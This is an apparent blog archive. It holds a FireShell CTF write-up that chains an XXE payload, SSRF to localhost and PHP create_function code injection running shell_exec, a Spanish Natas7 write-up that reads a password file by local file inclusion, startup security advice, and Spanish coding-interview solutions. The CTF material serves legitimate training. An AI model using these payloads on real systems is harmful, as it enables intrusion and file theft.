Category Archives: Personal

FireShell CTF 2019 – Bad Injections (WEB)

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

[html] <div class=’ui center aligned container’> <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/> <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="50t0"/> </div> [/html]

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

[bash] [/bash] And the result is: [php] ini_set(‘display_errors’,1); ini_set(‘display_startup_erros’,1); error_reporting(E_ALL); require_once(‘Routes.php’); function __autoload($class_name){ if(file_exists(‘./classes/’.$class_name.’.php’)){ require_once ‘./classes/’.$class_name.’.php’; }else if(file_exists(‘./Controllers/’.$class_name.’.php’)){ require_once ‘./Controllers/’.$class_name.’.php’; } } [/php]

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

[bash] [/bash] The Routes.php file is huge but there are two route functions that seems interesting [php] Route::set(‘custom’,function(){ $handler = fopen(‘php://input’,’r’); $data = stream_get_contents($handler); if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView(‘Custom’); } }); Route::set(‘admin’,function(){ if(!isset($_REQUEST[‘rss’]) && !isset($_REQUES[‘order’])){ Admin::createView(‘Admin’); }else{ if($_SERVER[‘REMOTE_ADDR’] == ‘’ || $_SERVER[‘REMOTE_ADDR’] == ‘::1’){ Admin::sort($_REQUEST[‘rss’],$_REQUEST[‘order’]); }else{ echo ";("; } } }); [/php]

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

[bash] [/bash]

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

[php] class Custom extends Controller{ public static function Test($string){ $root = simplexml_load_string($string,’SimpleXMLElement’,LIBXML_NOENT); $test = $root->name; echo $test; } } [/php]

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

[php]class Admin extends Controller{ public static function sort($url,$order){ $uri = parse_url($url); $file = file_get_contents($url); $dom = new DOMDocument(); $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); if($xml){ //echo count($xml->channel->item); //var_dump($xml->channel->item->link); $data = []; for($i=0;$i<count($xml->channel->item);$i++){ //echo $uri[‘scheme’].$uri[‘host’].$xml->channel->item[$i]->link."\n"; $data[] = new Url($i,$uri[‘scheme’].’://’.$uri[‘host’].$xml->channel->item[$i]->link); //$data[$i] = $uri[‘scheme’].$uri[‘host’].$xml->channel->item[$i]->link; } //var_dump($data); usort($data, create_function(‘$a, $b’, ‘return strcmp($a->’.$order.’,$b->’.$order.’);’)); echo ‘<div class="ui list">’; foreach($data as $dt) { $html = ‘<div class="item">’; $html .= ”.$dt->id.’ – ‘; $html .= ‘ <a href="’.$dt->link.’">’.$dt->link.'</a>’; $html .= ‘</div>’; } $html .= "</div>"; echo $html; }else{ $html .= "Error, not found XML file!"; $html .= "<code>"; $html .= "<pre>"; $html .= $file; $html .= "</pre>"; $hmlt .= "</code>"; echo $html; } } }[/php]

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

[bash] $ url=’’ $ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=">]><root><name>&test;</name></root>’ $ curl –request POST –url "$url" –header ‘cache-control: no-cache’ –header ‘content-type: application/xml’ –data "$xml_content" | base64 -d [/bash]

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

[php] $root = simplexml_load_string($string,’SimpleXMLElement’,LIBXML_NOENT); $test = $root->name; echo $test; [/php]

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying we are going to do a request to and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

[bash] $order = id, null) && die(shell_exec(‘ls -la /’)); ($aaa=" [/bash]

The original piece of code looks like this.

[php] usort($data, create_function(‘$a, $b’, ‘return strcmp($a->’.$order.’,$b->’.$order.’);’)); [/php]

When I replace the $order variable with my payload the final code looks like this.

[php] usort($data, create_function(‘$a, $b’, ‘return strcmp($a->id, null) && die(shell_exec(\’ls -la /\’)); ($aaa=",$b->id, null) && die(shell_exec(\’ls -la /\’)); ($aaa=");’)); [/php]

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

[bash] $ url=’’ $ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?">]><root><name>&test;</name></root>’ $ curl –request POST –url "$url" –header ‘cache-control: no-cache’ –header ‘content-type: application/xml’ –data "$xml_content" | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2197 100 1892 100 305 6348 1023 –:–:– –:–:– –:–:– 7347 total 116 drwxr-xr-x 1 root root 4096 Dec 26 18:10 . drwxr-xr-x 1 root root 4096 Dec 26 18:10 .. -rwxr-xr-x 1 root root 0 Dec 25 23:47 .dockerenv drwxr-xr-x 1 root root 4096 Dec 25 23:50 app drwxr-xr-x 1 root root 4096 Dec 4 15:47 bin drwxr-xr-x 2 root root 4096 Apr 10 2014 boot -rwxr-xr-x 1 root root 1122 Feb 15 2016 -rw-r–r– 1 root root 31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7 drwxr-xr-x 5 root root 360 Dec 25 23:47 dev drwxr-xr-x 1 root root 4096 Dec 25 23:55 etc drwxr-xr-x 2 root root 4096 Apr 10 2014 home drwxr-xr-x 1 root root 4096 Feb 15 2016 lib drwxr-xr-x 2 root root 4096 Jan 19 2016 lib64 drwxr-xr-x 2 root root 4096 Jan 19 2016 media drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt drwxr-xr-x 2 root root 4096 Jan 19 2016 opt dr-xr-xr-x 331 root root 0 Dec 25 23:47 proc drwx—— 1 root root 4096 Dec 26 18:10 root drwxr-xr-x 1 root root 4096 Feb 15 2016 run -rwxr-xr-x 1 root root 549 Feb 15 2016 drwxr-xr-x 1 root root 4096 Jan 19 2016 sbin drwxr-xr-x 2 root root 4096 Jan 19 2016 srv -rwxr-xr-x 1 root root 67 Feb 15 2016 -rwxr-xr-x 1 root root 29 Feb 15 2016 dr-xr-xr-x 13 root root 0 Jan 26 19:06 sys drwxrwxrwt 1 root root 4096 Jan 27 03:30 tmp drwxr-xr-x 1 root root 4096 Feb 15 2016 usr drwxr-xr-x 1 root root 4096 Feb 15 2016 var [/bash]

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

10 things you should be doing if you care about security in your Tech Startup

I’ve been working in the startup world as a Software Engineer for a little bit more than two years now, as most of you already know, I’m very passionate about information security so I decided to create a list of things you can do to protect your technology Startup (most of them for free).

SPOILER ALERT: This publication is not going to be your typical article about which crypto cipher is better to use, IDS comparisons or talking about specific DLP products , instead, I would like to cover 10 actions (more like advices) you can take if you value your product, your data, your employees and if you want to protect your Startup in general.

So if you are the CEO, CTO, some high executive or a decision maker in your Startup this information is for you.

1: Enforce the use of password managers

Everything starts with a password, literally, sign-in into your computer is one of the first thing most of you do every morning. Whether email clients, social networks, instant messaging apps, or online banking all this requires the user to provide a password in order to access the service so it’s natural for common users to want to think in a password only 1 time and then reuse it across multiple services.

Reusing passwords (even with small variations) it’s a bad thing because once your password is guessed/stolen it can be used to compromise all your other accounts (facebook, twitter, instagram, gmail, outlook, etc), attackers can automate the process using hacking tools such as credmap: The Credential Mapper.

So how do we prevent employees passwords to be guessed (dictionary attack) while at the same time make sure they are using strong and unique passwords on each one of their accounts? The answer is Password Managers.

Password Managers allow you to have one master password (for choosing a strong master password please refer to my talk How to create secure passwords) and then generate all the others you need based on a secure configuration such as secret length, character types, etc.

So the next time you want to access your favorite social network you just need to copy and paste the password, that also prevents your password for being stolen in case of a keylogger attack. You don’t want your community manager accounts to be stolen right?

There are a lot of good solutions out there for managing your passwords, some of them are free and open-source and some others requires you to buy a license, I personally use KeePass which is free, here is a list of the most popular password managers, doesn’t matter which one you want to choose but go ahead and start using password managers if you are not doing it yet!

2: Use multi-factor authentication if possible

The key of security is to add multiple layers of protection so in case one of them fails the other ones handle the risk, in particular for protecting accounts we can suggest our employees to use 2 factor or multi-factor authentication every time they can, so if a data breach happen and the passwords are stolen and cracked, attackers are still unable to log into the accounts because they are missing the token generator.

Now a days most of the more popular services support multi-factor authentication using one time passwords, token generators (such as google authenticator) or even hardware authenticator devices.

Personally I use a Yubico authenticator key and I’m very happy with it 🙂 every time I need to access my accounts from a new IP address or an unrecognized browser, websites such as Facebook or Gmail will ask for my authentication key, that’s very helpful because even if my password is leaked/cracked or someone guess it, they still need the physical key to access the service. 

If you don’t have a budget or prefer not to spend money on this you still can enforce multi-factor authentication using these free apps (every employee can have a token generator right on his smartphone):

3: Choose a secure instant messaging application

Every organization use some kind of real time communication application (Slack, Microsoft Teams, etc) and sometimes employees need to share sensitive information between them, they do not realize the information is also being shared with the third-party service provider who can read it.

Fortunately, nowadays more and more services support security features such as end to end encryption which means all communications between devices are encrypted (each device has a public and a private key) and not even the service provider can read them because they don’t have the private keys.

Another cool feature is self-destruct messages, basically you can set a timer so messages only exists during a particular amount of time after being send and then are destroyed, very useful when you want to share sensitive data such as passwords.

Some free apps that include these features are:

4: Securing all Email communications

Email communications is an essential part in every organization, making it a very attractive vector for attackers, according to a new report from PhishMe, 91% of Cyberattacks start with a phishing email, so even if you have advanced network controls, deceiving your users is still easy.

Nowadays attackers have access to sophisticated phishing tools like SET (Social-Engineer Toolkit) or Gophish which they use to target your employees, they also have access to large repositories of open-source phishing tools they use to tune and adapt their attacks to specific people.

Most of this tools allow attackers to spoof corporate emails and trick your users into downloading malicious files into their systems and into your network, spotting spoofed email addresses is very difficult for common users however using security software like PGP (Pretty Good Privacy) & GPG can help you to mitigate the issue.

Enforcing the use of software such as GPG (GNU Privacy Guard) could help your startup in many ways, like verify the legitimacy of a received messages or encrypt an email content so only a specific user can read them.

You can verify if a message you receive is legit by using the public key of the sender (usually another employee in the organization), meaning: if the person that sent you the email also signed the message using his private key and that private key is associated with the public key you have, then you are guaranteed the message is coming from the right person.

I know this sounds a little bit confusing at the beginning, but the main idea is that every person in the company has a key pair, a public key and a private key, everybody exchanges their public keys while keep their private keys to themself, so when I want to send a message to Mr John Doe I write the message normally and then I proceed to sign it with my own secret key, optionally I can encrypt the message using the public key of John Doe, so the message can only be decrypted and read it by the private/secret key of John, finally John can use my public key to verify the signature I applied to the original message (the one I generated with my private key).

If you still don’t get it don’t worry about it, nowadays most email clients support PGP and the process for verifying and decrypting emails is automatically, there is also a chrome extension called FlowCrypt that I highly recommend!

This message was encrypted with my public key and then sent to me, not even google can read this.
The message decrypted on my browser via the FlowCrypt browser extension

5: Encrypting all your drives

Now we are introducing the concept endpoint protection and “data loss prevention“, in fact I think most of you already use some form of data encryption software, I’m not going to go deep into the details but encrypting your drives could protect your data in many cases, ie: someone steal a company hard drive and try to mount it in another computer to read the information.

If your employees are MacOS users, the operating system already come shipped with FileVault enabled by default, if they use Windows they can use BitLocker and if they use a modern Linux distribution (ie: Ubuntu) full disk encryption is also available.

Data encryption has pros and cons, but the benefits are superior from a privacy and security stand point so I highly recommend to use full disk encryption in all company devices if possible, also the solutions I mentioned above are all free, so you don’t need to spend any money on this one too in order to protect your employees.

6: Encourage secure coding best practices

Usually, when you start a new company then financial resources are limited and you need to be very careful with the people you hire, basically you want to have the best developers, people that are really good at whatever they do but also are wiling to learn and adapt to different situations, you want Rockstar developers.

Rockstars developers have the potential for learning anything, so feed them with the right content, Open Security Training contains great resources about different topics of security like Introduction to Secure Coding, the best part is, are you ready?, its all FREE! in fact this is how I have been learning about security all this years.

Besides Open Security Training there is also The Open Web Application Security Project (OWASP), which is also a good resource for starters so they can learn how to create secure web applications and also secure mobile apps.

Everybody can learn about Security these days, encourage your developers to do it (give them time and resources) and your team will become stronger!, here are some extra sources I had used in the past:

7: Consider hiring a security expert to join your team or an external security team

This advice is more for mature startups or executives who already have a budget to spend on cybersecurity, but it can also apply if you are a small startup and have some friends in the security community.

The idea is to have someone in your team that can give you advice and guidance on different security matters, ie: implementing a security plan for the software development process, do threat modeling in your organization, security infrastructure (IDS, IPS, firewalls, etc), security training, network protection or just make sure your employees are safe are just some examples of things your tech Startup needs from a security perspective.

Besides having your own security guy consider hiring an external security team too, having the security assessment of an external team allow you to simulate more realistic attacks to your organization so you can be more prepared when the real thing happen.

Here are some personal thoughts about security people:

  • Security people are different
  • We enjoy talking about security all the time
  • We want to get asked about how to protect X or Y technology
  • We enjoy challenges and puzzles
  • we enjoy to break stuff and tell you how to fix them.

8: Start a bug bounty program

Companies doesn’t like the idea of their product being hacked, personally I believe that way of thinking need to change because it’s a good thing to have a group of white hat hackers finding vulnerabilities in your software before the bad guys do it.

You can start a bug bounty program with a well defined scope so people can try to hack your product legally (you can even set some special environments for this), there are some guidelines regarding how much to pay depending on the type of vulnerability but if you are still a small startup you can also offer some “swag” like t-shirts or gadgets.

In return you get (most of the time) an army of high quality security researchers that will deliver good vulnerability reports, including how to fix your security issues, everybody wins 🙂

Some popular bug bounty platforms right now are:

9: Encourage a cybersecurity culture in the Startup

The success of the cybersecurity strategy in the organization depends pretty much on the people, you can not just spend a lot of money on security assets like Firewalls and Antivirus and expect everything to be magically safe, it’s not possible because people are always the weakest part in the chain. Security is like a game and everybody need to play including high executives like CEOs and CTOs.

In order to have a culture of cybersecurity organizations have tried different things through the years, even punishing their employees, which is not very effective because people end hating security policies. In general people tend to care about security only when affects them directly but they also like rewards so there is a “new” trend in the security community about using gamification in which basically you reward your employees when they have a responsible security behaviour.

Those action might include:

  • Employees getting rewards when reporting phishing emails
  • Escort people without badge outside the facilities
  • Report suspicious USB drives or hardware that should not be there to the IT/Security department.
  • Enforce people to lock their workstation when not using them by sending emails (using the unlocked account) about free donuts for the whole floor/department/team :p

The idea of all this is to be fun while at the same time the organization become more secure against external threats.

10: Be transparent about Security issues and data breaches

Your biggest fear became true, your Startup got hacked and your information is all over the Internet, If you followed all my advices chances are your sensitive information like passwords are encrypted, which is useless for the attackers, however you still have a moral (and in some places legal) duty, you need to notify your customers and employees about the data breach (according to GDPR you have 72 hours to report a personal data breach after it’s discovered) basically every minute you wait is a minute attackers can invest into cracking and recovering the information so it’s better to communicate the incident, so people can start acting accordingly (change passwords, cancel credit cards, etc).

If you decide to hide the breach and continue without doing anything eventually everybody is going to know about hack and your reputation will be irreversibly damaged (nobody will trust you anymore) so its better to be open with your customers an accept the failure, the shame will be momentary but you will do the right thing.

There is no such thing as a Silver bullet in Cybersecurity, It’s not a matter of if you are going to be hacked or not, it’s about when is going to happen and if your organization is going to be prepared, and this is true for all companies.

Some final thoughts

Security people are often seen as blockers in the organization but I assure you, they have good intentions so please listen to them. Security is hard to implement and even harder to maintain so if you are the CEO/CTO/[Person with authority] of the startup consider to join the security team so you can experience first hand the whole process 🙂

Finally, all these advices are based on my personal opinion (I’m just a security enthusiast) so if you think I should add something else please leave it in the comments.

Happy hacking 🙂

CTF OverTheWire: Natas7

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas7.

Natas Level 6 → Level 7
Username: natas7

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Inspeccionamos el código fuente de la pagina y observamos un par de cosas interesantes:

Vemos dos hypervinculos (index.php?page=home y index.php?page=about) y un comentario que dice:

<!– hint: password for webuser natas8 is in /etc/natas_webpass/natas8 –>

Dependiendo el valor del parámetro page el contenido de la pagina cambia, todo apunta a que estamos ante una vulnerabilidad de tipo Local File Inclusion, escribimos texto aleatorio solo para verificar la vulnerabilidad.

Efectivamente podemos ver la ruta del archivo php en el servidor (path disclosure), debido a esta vulnerabilidad podemos leer cualquier archivo al que el usuario que ejecuta el servidor web tenga acceso, por ahora solo nos centraremos en obtener la bandera del reto con

La bandera para acceder a natas8 es DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

En este reto aprovechamos un fallo de seguridad llamado Local File Inclusion, con el que es posible leer otros archivos que no son accesibles directamente en el servidor.

Happy hacking 🙂

#DailyCodingProblem: El producto de todos los elementos en el arreglo menos el elemento actual

Good morning! Here’s your coding interview problem for today.

This problem was asked by Uber.

Given an array of integers, return a new array such that each element at index i of the new array is the product of all the numbers in the original array except the one at i.

For example, if our input was [1, 2, 3, 4, 5], the expected output would be [120, 60, 40, 30, 24]. If our input was [3, 2, 1], the expected output would be [2, 3, 6].

Follow-up: what if you can’t use division?

Si ignoramos la restricción este problema es muy sencillo de resolver.

  • Iteramos el arreglo y calculamos el producto total de todos los elementos: 1 x 2 x 3 x 4 x 5 = 120
  • Iteramos nuevamente dividiendo el total entre cada uno de los elementos y guardamos esos resultados en nuevo arreglo: 120/1, 120/2, 120/3, 120/4, 120/5

La complejidad de esta solución seria O(2n) o simplemente O(n), pero debido a que el problema dice que no podemos usar la división las cosas se complican un poco mas.

Solución cuadrática

Sin usar la división la solución mas obvia es una solución cuadrática, iteramos el arreglo y por cada elemento vamos a ir acumulando el producto de esos valores menos el elemento i actual.

int[] calculateProduct(int[] numbers) {
int[] result = new int[numbers.length];
// …
// … logica para inicializar todos los valores de result en 1
// …
for (int i = 0; i < numbers.length; i += 1) {
for (int j = 0; j < numbers.length; j += 1) {
if (i != j) {
result[j] *= numbers[i];
return result;

Esta solución es muy fácil de entender pero no es para nada eficiente, O(n2), en la publicación anterior ya analizábamos otra solución cuadrática y veíamos que era un problema con inputs de datos muy grandes, por ejemplo un arreglo de 1000 elementos (1 millón de operaciones).

Solución en tiempo lineal con programación dinámica

Después de pensar un rato en este problema, haciendo algunas anotaciones y viendo la relación entre los indices y el producto parcial de cada uno de ellos llegue a la siguiente solución.

La primera fila son los valores del arreglo, después como si estuviéramos iterando, el valor actual es marcado en color amarillo, si pudiéramos obtener el producto acumulado de izquierda y derecha de cada uno de los elementos entonces podríamos resolver el problema multiplicándolos entre si 🙂

Ejemplo: para el obtener el resultado del 3 tendríamos que multiplicar sus valores de la izquierda que son 2 y sus valores de la derecha que son 20 dando como resultado 40.

Vamos a recorrer el arreglo por la izquierda y por la derecha guardando el producto de sus elementos, para eso necesitaremos 2 arreglos mas, left y right, podemos hacer esos recorridos en una sola iteración, después iteramos nuevamente multiplicando los valores de izquierdo y derecho de result[i].

public static int[] calculateProduct(int[] numbers) {
int[] result = new int[numbers.length];
int[] left = new int[numbers.length];
int[] right = new int[numbers.length];
int totalLeft = 1;
int totalRight = 1;
int size = numbers.length – 1;
for (int i = 0; i <= size; i += 1) {
totalLeft *= numbers[i];
totalRight *= numbers[size – i];
left[i] = totalLeft;
right[size – i] = totalRight;

for (int i = 0; i < numbers.length; i += 1) {
if (i == 0) {
result[i] = right[i + 1];
} else if (i == numbers.length – 1) {
result[i] = left[i – 1];
} else {
result[i] = left[i – 1] * right[i + 1];
return result;

La complejidad en tiempo de esta solución es O(2n) o O(n).
La complejidad en espacio de esta solución es O(3n) o O(n), (tomando en cuenta solamente los 3 nuevos arreglos que necesitamos, todas las demás variables son espacio constante).

Happy hacking 🙂

#DailyCodingProblem: Encontrar si dos números dentro de un arreglo suman K

Good morning! Here’s your coding interview problem for today.

This problem was recently asked by Google.

Given a list of numbers and a number k, return whether any two numbers from the list add up to k.

For example, given [10, 15, 3, 7] and k of 17, return true since 10 + 7 is 17.

Bonus: Can you do this in one pass?

Como el problema lo indica, debemos crear una función que reciba 2 parámetros, un arreglo de números y un numero entero k, debemos buscar dentro de ese arreglo si dos elementos sumados entre si son iguales al numero k.

La solución naive para este problema seria iterar sobre los elementos del arreglo y por cada uno de ellos iterar nuevamente para ver si la suma de numbers[i] + numbers[j] da como resultado el numero k

for (int i = 0; i < numbers.length; i += 1) {
for (int j = 0; j < numbers.length; j += 1) {
// evitamos la comparación de un elemento consigo mismo
if (i != j && (numbers[i] + numbers[j]) == k) {
return true;

Esta solución no es muy buena ya que por cada elemento en el arreglo vamos a iterar nuevamente los datos, resultando en una complejidad O(n2) donde n es el tamaño del arreglo, imagina un arreglo de 1000 elementos, tendríamos que realizar 1 millón de operaciones.

Solución lineal para encontrar si dos números suman K

Vamos a iterar el arreglo, pero esta vez vamos a usar un HashSet para guardar información, por cada elemento:

  • Calculamos el numero que falta para completar el total k
  • Revisamos si el numero que nos falta existe en el HashSet, si es así devolvemos true (buscar elementos en un HashSet se hace en tiempo constante)
  • Si el numero que buscamos no existe entonces registramos el numero actual como “observado” en el HashSet

Si terminamos de recorrer el arreglo significa que no hay números que sumados nos den como resultado k y por lo tanto devolvemos false.

public static boolean findSum(int[] numbers, int k) {
HashSet<Integer> seenNumbers = new HashSet<>();
for (int i = 0; i < numbers.length; i += 1) {
int missing = k – numbers[i];
if (seenNumbers.contains(missing)) {
return true;
return false;

La complejidad en tiempo de esta solución es O(n), ya que el numero de operaciones a realizar depende directamente del tamaño del arreglo n.

La complejidad en espacio de esta solución también es O(n), el espacio o la memoria a utilizar depende directamente de lo que reciba la función, en este caso un arreglo de n elementos, utilizamos un HashSet para almacenar máximo el mismo numero de elementos y no realizamos otras operaciones que sean significativas con la memoria.

Happy hacking 🙂